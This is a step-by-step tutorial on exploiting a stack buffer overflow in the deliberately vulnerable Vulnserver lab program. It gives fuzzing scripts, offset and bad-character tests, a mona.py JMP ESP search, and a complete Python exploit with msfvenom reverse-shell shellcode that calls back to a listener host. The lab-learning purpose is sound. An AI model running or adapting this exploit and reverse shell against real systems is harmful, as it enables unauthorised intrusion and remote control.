Buffer Overflow

Easy practical examples for buffer overflow for beginners

Buffer Overflow Basic Steps

EASY STEPS

Part 1

  1. Fuzzing the service parameter and getting the crash byte

  2. Generating the pattern

  3. Finding the correct offset where the byte crashes with the help of (EIP)

Part 2

  1. Finding the bad character with mona.py, and comparing bad character strings with mona.py

  2. Finding return address (JMP ESP) with mona.py

Part 3

  1. Setting breakpoint to verify RETURN address is correct or not

  2. Creating reverse shell with the help of msfvenom

  3. Adding NOP’s to the script

  4. Getting shell

Buffer Overflow vulnserver

Setting up the vulnserver

Open Immunity debugger as root and Run the vuln server

Try to connect it at default port 9999 from kali

nc -nv 192.168.199.1 9999  

HELP commands list down supported command.

Spiking

Spiking is the initial step of buffer overflow attacks where you send various inputs to the program to identify potential vulnerabilities and identify the vulnerable function. What we are going to do here is throw a bunch of characters at STATS (valid commands) from the Kali machine wrapped in a script using a tool & check if we can overflow that buffer. If the program crashes, we will know that a buffer overflow vulnerability is there. Or if not vulnerable to buffer overflow, move on to the next one. Before we go and start the spiking process, we are going to demonstrate with 2 different commands (STAT, TRUN) in order to show the difference between the one which is vulnerable to buffer overflow and how it looks underneath.

We can make use of the following command to send stuff to the open port.

generic_send_tcp
Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR
./generic_send_tcp 192.168.1.100 701 something.spk 0 0

Generic_send_tcp is a tool that is part of the SPIKE fuzzer suite. It’s used to send a series of messages to a specific IP address and TCP port. The messages are defined in a SPIKE script, which is a file that contains a series of SPIKE commands.

We can make two different spike scripts for two commands as below:-

s_readline();
s_string("STATS ");
s_string_variable("10000");
s_readline();
s_string("TRUN ");
s_string_variable("4444");
  • s_readline(); reads a line from the server’s response.

  • s_string(“STATS “); sends the string “STATS “ to the server.

  • s_string_variable(“10000”); sends a large amount of data as in variable (in this case, “10000”) to the server to check if this could lead to buffer overflow.

Also, the variable will be changed in order to check if that could lead to overflowing the buffer.

Buffer overflow or not:

  1. If the server doesn’t properly handle the length of the input (in this case, “10000”), it could lead to a buffer overflow . This is because the server might have only allocated a certain amount of memory to store the input. If the input exceeds this allocation, it can overflow into adjacent memory, causing unexpected behavior.

  2. If the server can handle the variable and then will move on to the next valid command to pentest.

Now let us send spike the stats command and observe it in immunity. It does not crash, so, it may not be vulnerable.

generic_send_tcp 192.168.199.1 9999 stats.spk 0 0

But if we spike the trun, we can observe that it crashes the program and program immunity shows pause status. The EIP register also got overwritten, indicating it is vulnerable to buffer overflow

generic_send_tcp 192.168.199.1 9999 trun.spk 0 0

You can restart the program by pressing reverse button

Fuzzing

The next step in testing for a buffer overflow is fuzzing. Fuzzing allows us to send bytes of data to a vulnerable program (in our case, Vulnserver) in growing iterations, to overflow the buffer space and overwrite the EIP.

In spiking, the focus is on identifying vulnerabilities within specific commands. For instance, after a prior class where we identified the vulnerability of the TRUN command, we will now launch a targeted attack on that particular command.

Next we will create a fuzzer to connect to the port on which brainpan runs and attempts to crash the software by passing a large password. The loop increments the size of the buffer by 100 characters each time and we see a crash happen at size 600.

We need to add a few characters to the TRUN as we saw extra characters in EAX register.

#!/usr/bin/python3
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.199.133', 9999))

        payload = "TRUN /.:/" + buffer
        s.send(payload.encode())
        s.close()
        sleep(1)
        buffer = buffer + "A" * 100

    except:
        print("Fuzzing crashed at %s bytes" % str(len(buffer)))
        sys.exit()

For some reason python3 scripts not working. This one seems to be working for python2. I did got it working after sometime.

#!/usr/bin/python
import sys, socket
from time import sleep

############### fuzzing script ##################

buffer = "A" * 100

while True:
        try:

                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect(('192.168.199.133',9999))

                s.send(('TRUN /.:/' + buffer))
                s.close
                sleep(1)
                buffer = buffer + "A"*100

        except:
                print "Fuzzing crashed at %s bytes" % str(len(buffer))
                sys.exit()

Finding the offset

In the context of buffer overflows, the “offset” refers to the distance (in bytes) from the start of a buffer to a specific memory location where the overflow occurs. Typically, this location is the return address of a function stored on the stack, held by the EIP (Extended Instruction Pointer) register in x86 architecture.

The offset is crucial for determining precisely where in the input data the return address is overwritten during a buffer overflow. Once identified, attackers can manipulate the program’s control flow by carefully crafting input data, aiming to overwrite the return address or EIP. We can use Metasploit to create a pattern and then look what actually overwrote the EIP register.

msf-pattern_create -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message

We can create a pattern of 3000 bytes (Our program was crashing around 3000).

msf-pattern_create -l 3000 

We are going to use the following code to send this pattern to server.

#!/usr/bin/python3
import sys
import socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.199.133', 9999))
    s.send(('TRUN /.:/' + offset).encode())
    s.close()

except Exception as e:
    print("Error connecting to server:", e)
    sys.exit()

Now send it, our program is going to crash, we need to make not of the value in EIP.

386F4337

Now, we can find the exact offset.

msf-pattern_offset -l 3000 -q 386F4337

And we have found the exact offset.

Overwriting the EIP

To confirm that we can control the EIP we will try and fill it with a series of Bs by changing our python script.

#!/usr/bin/python3
import sys
import socket

shellcode="A"*2003 + "B"*4 + "C"*(3000-2007)
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.199.133', 9999))
    s.send(('TRUN /.:/' + shellcode).encode())
    s.close()

except Exception as e:
    print("Error connecting to server:", e)
    sys.exit()

Alternate Code We are sending the A as number of offset byter and then 4 B's (We should see 4x42 in EIP) and then we are sending bunch of C's.

import socket
import sys

username = b"heath"
message = b"A" * 2012 + b"B" * 4

try:
    print("Sending payload...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.4.49', 9999))
    s.recv(1024)
    s.send(username + b'\r\n')
    s.recv(1024)
    s.send(message + b'\r\n')
    s.recv(1024)
    s.close()

except:
    print("Cannot connect to the server")
    sys.exit()

We may need to add recv statements if program is sending back data.

And our program crash and we can see 42424242 in EIP register.

Finding Bad Characters

When delving into the intricate process of generating shellcode for buffer overflow exploits, a critical consideration is the identification of “bad characters.” These characters, if not handled meticulously, may undergo unintended processing, potentially jeopardizing the integrity of the injected code. Among the notorious bad characters is the null byte (\x00), known for triggering issues as a string termination character in C. Others include Line Feed (\x0A), Carriage Returns (\z0D), and Form Feed (\xFF).

We can through all kind of bad characters at vuln server and see how it responds. You can get all bad chars from the following link.

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

We have to amend our script to send these characters.

#!/usr/bin/python3
import sys
import socket
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
shellcode="A"*2003 + "B"*4 + badchars
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.199.133', 9999))
    s.send(('TRUN /.:/' + shellcode).encode())
    s.close()

except Exception as e:
    print("Error connecting to server:", e)
    sys.exit()
#!/usr/bin/python3
import sys
import socket

badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

shellcode = b"A" * 2003 + b"B" * 4 + badchars

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.199.133', 9999))
    s.send(b'TRUN /.:/' + shellcode)
    s.close()

except Exception as e:
    print("Error connecting to server:", e)
    sys.exit()

Now, send these and our program breaks.

However, main focus is analyzing the hex dump. It can seen right clicking on the ESP register and selecting Follow in dump.

Check the values from 01 to FF and there is nothing out of ordinary. (Null is still considered a bad character)

If something is out of place or being repeated it may mean it is a bad character.

For the sack of demonstration purpose, it can be seen in this below image that the B0 is reappearing in several space e.g., 04,05, 28,29,44,45..

Finding the right module

In the context of buffer overflow, finding the right module indicates identifying a module without memory protection mechanisms such as Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), or SafeSEH. This is typically a DLL (Dynamic Link Library) or a program lacking these protections for example.

Mona.py

Mona.py is a python script that can be used to automate and speed up specific searches while developing exploits (typically for the Windows platform). It runs on Immunity Debugger and WinDBG, and requires python 2.7. Although it runs in WinDBG x64, the majority of its features were written specifically for 32bit processes.

Download mona.py and paste this file in the following path

Now type in the following

!mona modules

And on top we can see a dll which has no protection.

essfffunc.dll is the ideal candidate to exploit as it has no modern protection as indicated by the status set to false below Rebase, safeSEH, ASLR.

The second thing we need to do is to find the opcode equivalent of JMP ESP

Let us locate nasm

locate nasm_shell
──(kali㉿kali)-[~]
└─$ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > JMP ESP
00000000  FFE4              jmp esp
nasm > 

it is FFE4.

Why do we need JMP ESP in the context of buffer overflow

  • In the context of a buffer overflow exploit, the goal is often to hijack the control flow of a program by overwriting the EIP (Extended Instruction Pointer) with a specific address(e.g., 0X625011AF). If this address(e.g., 0X625011AF.We will use mona.py to find this address) points to a JMP ESP instruction, the program will redirect its execution to the location specified by the ESP register. This provides the attacker with a controlled entry point for injecting and executing malicious shellcode.

JMP ESP provides a workaround:

  • Attackers find a JMP ESP instruction within the program’s memory space (usually in loaded libraries).

  • They overwrite the return address with the address(e.g., 0X625011AF) of this JMP ESP instruction.

  • When the function returns, the processor executes the JMP ESP instruction, indirectly jumping to the shellcode placed on the stack.

Now let us get back. Now search for the opcode of JMP ESP in the vulnerable dll " essfffunc.dll"

!mona find -s "\xFF\xE4" -m essfunc.dll

We found 9 locations in memory (that won’t change addresses when we restart program) that hold the instruction ‘JMP ESP’.

It’s a list of addresses that we can potentially use as our pointer. The addresses are located on the left side, in white.

We will select the first address -625011AF and add it to our Python script shell.py

Note 1 : your address may be different depending on the version of Windows you are running. So, do not panic if the addresses are not the same!

The address will be in hex - and in little endian format \xaf\x11\x50\x62

We are trying to add overwrite EIP with this address.

#!/usr/bin/python3
import sys
import socket
#address is 625011AF

shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.199.133', 9999))
    s.send(b'TRUN /.:/' + shellcode)
    s.close()

except Exception as e:
    print("Error connecting to server:", e)
    sys.exit()

We can monitor the address in immunity with breakpoints

Click on black right arrow >:

Paste 625011af and ok

right click on 625011AF breakpoint>toggle. We can also press F2.

Now play server. So now once we have overwritten the IP, the control moves here and due to the breakpoint, program will pause here. And now execute the script.

Our program gets paused and we can see that EIP is overwritten.

Now, we have to generate the shell code using msfvenom and write a script that will point the EIP towards the ESP and eventually to beginning of the shell code address in order to execute the shellcode and hopefully provide the root access of the vulnserver.In a classic sense, the ESP will contain the beginning address of some malicious program.

Generating Shellcode and getting root

Generate the payload with msfvenom

sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.199.136 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c
  • sudo msfvenom: Run msfvenom with superuser privileges.

  • -p windows/shell_reverse_tcp: Specify the payload type (reverse TCP shell for Windows).

  • LHOST=192.168.199.136: Set the local host IP address for the reverse connection.

  • LPORT=4444: Set the local port for the reverse connection.

  • EXITFUNC=thread: Specify the exit function.

  • -a x86: Specify the architecture (x86).

  • -b '\x00': Specify the bad character to avoid (null byte in this case).

  • -f c: Specify the output format (C-style code).

Now, prepare the shell file. I converted the shell code to bytes with chatgpt and added a few nops.


#!/usr/bin/python3
import sys
import socket
#address is 625011AF

overflow = (
    b"\xdb\xd0\xd9\x74\x24\xf4\xb8\x6d\xf8\xa5\x06\x5b\x33\xc9"
    b"\xb1\x52\x83\xeb\xfc\x31\x43\x13\x03\x2e\xeb\x47\xf3\x4c"
    b"\xe3\x0a\xfc\xac\xf4\x6a\x74\x49\xc5\xaa\xe2\x1a\x76\x1b"
    b"\x60\x4e\x7b\xd0\x24\x7a\x08\x94\xe0\x8d\xb9\x13\xd7\xa0"
    b"\x3a\x0f\x2b\xa3\xb8\x52\x78\x03\x80\x9c\x8d\x42\xc5\xc1"
    b"\x7c\x16\x9e\x8e\xd3\x86\xab\xdb\xef\x2d\xe7\xca\x77\xd2"
    b"\xb0\xed\x56\x45\xca\xb7\x78\x64\x1f\xcc\x30\x7e\x7c\xe9"
    b"\x8b\xf5\xb6\x85\x0d\xdf\x86\x66\xa1\x1e\x27\x95\xbb\x67"
    b"\x80\x46\xce\x91\xf2\xfb\xc9\x66\x88\x27\x5f\x7c\x2a\xa3"
    b"\xc7\x58\xca\x60\x91\x2b\xc0\xcd\xd5\x73\xc5\xd0\x3a\x08"
    b"\xf1\x59\xbd\xde\x73\x19\x9a\xfa\xd8\xf9\x83\x5b\x85\xac"
    b"\xbc\xbb\x66\x10\x19\xb0\x8b\x45\x10\x9b\xc3\xaa\x19\x23"
    b"\x14\xa5\x2a\x50\x26\x6a\x81\xfe\x0a\xe3\x0f\xf9\x6d\xde"
    b"\xe8\x95\x93\xe1\x08\xbc\x57\xb5\x58\xd6\x7e\xb6\x32\x26"
    b"\x7e\x63\x94\x76\xd0\xdc\x55\x26\x90\x8c\x3d\x2c\x1f\xf2"
    b"\x5e\x4f\xf5\x9b\xf5\xaa\x9e\x63\xa1\x73\xd6\x0c\xb0\x7b"
    b"\xf6\x90\x3d\x9d\x92\x38\x68\x36\x0b\xa0\x31\xcc\xaa\x2d"
    b"\xec\xa9\xed\xa6\x03\x4e\xa3\x4e\x69\x5c\x54\xbf\x24\x3e"
    b"\xf3\xc0\x92\x56\x9f\x53\x79\xa6\xd6\x4f\xd6\xf1\xbf\xbe"
    b"\x2f\x97\x2d\x98\x99\x85\xaf\x7c\xe1\x0d\x74\xbd\xec\x8c"
    b"\xf9\xf9\xca\x9e\xc7\x02\x57\xca\x97\x54\x01\xa4\x51\x0f"
    b"\xe3\x1e\x08\xfc\xad\xf6\xcd\xce\x6d\x80\xd1\x1a\x18\x6c"
    b"\x63\xf3\x5d\x93\x4c\x93\x69\xec\xb0\x03\x95\x27\x71\x23"
    b"\x74\xed\x8c\xcc\x21\x64\x2d\x91\xd1\x53\x72\xac\x51\x51"
    b"\x0b\x4b\x49\x10\x0e\x17\xcd\xc9\x62\x08\xb8\xed\xd1\x29"
    b"\xe9"
)

padding=16 
shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" +b"\x90" * padding + overflow

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.199.133', 9999))
    s.send(b'TRUN /.:/' + shellcode)
    s.close()

except Exception as e:
    print("Error connecting to server:", e)
    sys.exit()

Now open a listener on Kali

nc -lnvp 4444 

Now, run the exploit script.

And we have a shell.

Last updated